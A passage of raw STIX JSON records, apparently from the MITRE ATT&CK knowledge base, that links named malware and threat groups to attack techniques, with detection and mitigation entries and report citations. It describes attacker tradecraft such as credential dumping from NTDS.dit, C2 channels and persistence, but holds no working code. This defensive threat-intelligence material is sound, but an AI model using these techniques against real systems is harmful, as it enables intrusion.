"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T15:26:41.142Z", "description": "Monitor for processes that can be used to enumerate user accounts and groups such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n\u00a0\nInformation may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a18f1ae0-dbc8-4f6d-9c88-ab284ce2bf0c", "type": "relationship", "created": "2020-03-17T02:55:47.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. 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Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:02.405Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has used FTP for C2 connections.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a18f1daf-1eed-4e33-8107-76f136925742", "created": "2022-08-22T20:47:21.282Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "BlackHat API Packers", "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf", "description": "Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitoring module loads, especially those not explicitly included in import tables, may highlight obfuscated API function calls. Dynamic malware analysis may also expose signs of function obfuscation, such as memory reads that correspond to addresses of API function code within modules.(Citation: BlackHat API Packers)", "modified": "2022-08-23T18:18:16.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a19231c9-e6b4-4d3f-9c9d-f4e85cba5e3a", "created": "2022-04-05T19:54:50.810Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) can download additional plugins, files, and tools.(Citation: BiZone Lizar May 2021)", "modified": "2022-04-05T19:54:50.810Z", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1956344-1a2d-4193-bb20-0f65c98776fe", "type": "relationship", "created": "2020-05-26T16:17:59.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}], "modified": "2020-06-15T19:59:06.592Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106)'s miner has created UPX-packed files in the Windows Start Menu Folder.(Citation: Talos Rocke August 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a195cd11-43dc-4ad8-a48d-a1c705bb8b90", "type": "relationship", "created": "2021-03-08T18:27:58.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PTSecurity Higaisa 2020", "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. 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Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.670Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can open an active screen of the victim\u2019s machine and take control of the mouse and keyboard.(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a1e10048-626c-4e64-9bdb-fd576be8c19f", "created": "2020-11-10T15:39:49.368Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.660Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has gained access to credentials via exported copies of the ntds.dit Active Directory database. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also created a volume shadow copy and used a batch script file to collect NTDS.dit with the use of the Windows utility, ntdsutil.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1e16836-d6d9-4d47-bb9a-35f31f369980", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}, {"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "source_name": "Unit 42 QUADAGENT July 2018"}, {"description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", "source_name": "FireEye APT34 July 2019"}, {"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-05-05T15:52:16.163Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1e74408-5c7b-4538-afd9-a01b23a92429", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2020-03-17T02:15:30.739Z", "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to download a file to the system from its C2 server.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:41:30.237Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) runs tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1ec1602-33d6-45be-8eda-2020094e93a4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.661Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1ee7b5a-94cd-4b3a-aa53-55844968c28f", "type": "relationship", "created": "2020-02-21T15:58:20.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tilbury Windows Credentials", "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf", "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."}], "modified": "2020-03-24T20:41:09.253Z", "description": "Consider limiting the number of cached credentials (HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Current Version\\Winlogon\\cachedlogonscountvalue)(Citation: Tilbury Windows Credentials)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1fab866-6486-4775-8caf-2b5744971477", "type": "relationship", "created": "2020-03-18T22:53:32.233Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T22:53:32.233Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins and power users within the domain.(Citation: Symantec Buckeye) ", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a1fc4800-c670-4bc1-bc42-2b5fe66d0297", "type": "relationship", "created": "2020-05-18T17:43:36.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky MuddyWater June 2019", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:41:28.669Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used tools to encode C2 communications including Base64 encoding.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501", "created": "2017-05-31T21:33:27.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.415Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.(Citation: FireEye APT28)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a2006705-7f1b-4081-a074-5313f1d8c7af", "created": "2023-06-22T19:51:48.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-02T19:12:13.579Z", "description": "Individual [Uroburos](https://attack.mitre.org/software/S0022) implants can use multiple communication channels based on one of four available modes of operation.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a205b0ce-df00-40ae-b626-7dc3e8146d45", "type": "relationship", "created": "2020-03-02T18:49:28.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-09-27T17:57:28.632Z", "description": "Determine if certain websites or attachment types (ex: .scr, .exe, .pif, .cpl, etc.) that can be used for phishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}], "modified": "2020-06-22T17:54:15.490Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a2118212-1594-4fb1-8076-5a8649756c9c", "type": "relationship", "created": "2020-05-15T15:04:34.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.383Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has used a secondary C2 location if the first was unavailable.(Citation: FOX-IT May 2016 Mofang)\t", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a2165d87-3372-4d1d-b622-9705a4eb9b41", "created": "2024-04-01T15:56:48.373Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. 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Retrieved December 21, 2020."}], "modified": "2020-12-29T15:34:45.969Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has named the task for a reverse proxy lpupdate to appear legitimate.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a2798404-09a6-4882-8226-257fe55f788c", "created": "2022-06-10T17:24:04.236Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", "description": "MSTIC, DART, M365 Defender. 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Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has removed a targeted organization's global admin accounts to lock the organization out of all access.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-06-10T17:24:04.236Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a28b6a04-5562-4550-91bd-6397c0c9fe3f", "created": "2023-08-07T16:11:56.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. 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Retrieved January 29, 2021."}], "modified": "2021-08-30T23:07:28.928Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments that lead victims to credential harvesting websites.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a28ed204-7e5c-4090-a0c5-0a056ef602fe", "type": "relationship", "created": "2020-03-20T02:17:36.884Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kamluk, V. & Gostev, A. (2016, February). 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Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a455cf4b-2402-4b72-a5e8-e5f5ed6d2bfc", "type": "relationship", "created": "2022-01-26T21:51:21.573Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. 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(2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}, {"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}, {"source_name": "Secureworks IRON RITUAL Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-ritual", "description": "Secureworks CTU. (n.d.). IRON RITUAL. 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Retrieved February 25, 2021."}], "modified": "2021-03-03T16:49:14.724Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) removes itself after execution and can delete files on the system.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN10 June 2017", "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. 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Retrieved July 2, 2019."}], "modified": "2020-03-20T16:37:06.257Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a UEFI (Unified Extensible Firmware Interface) rootkit known as 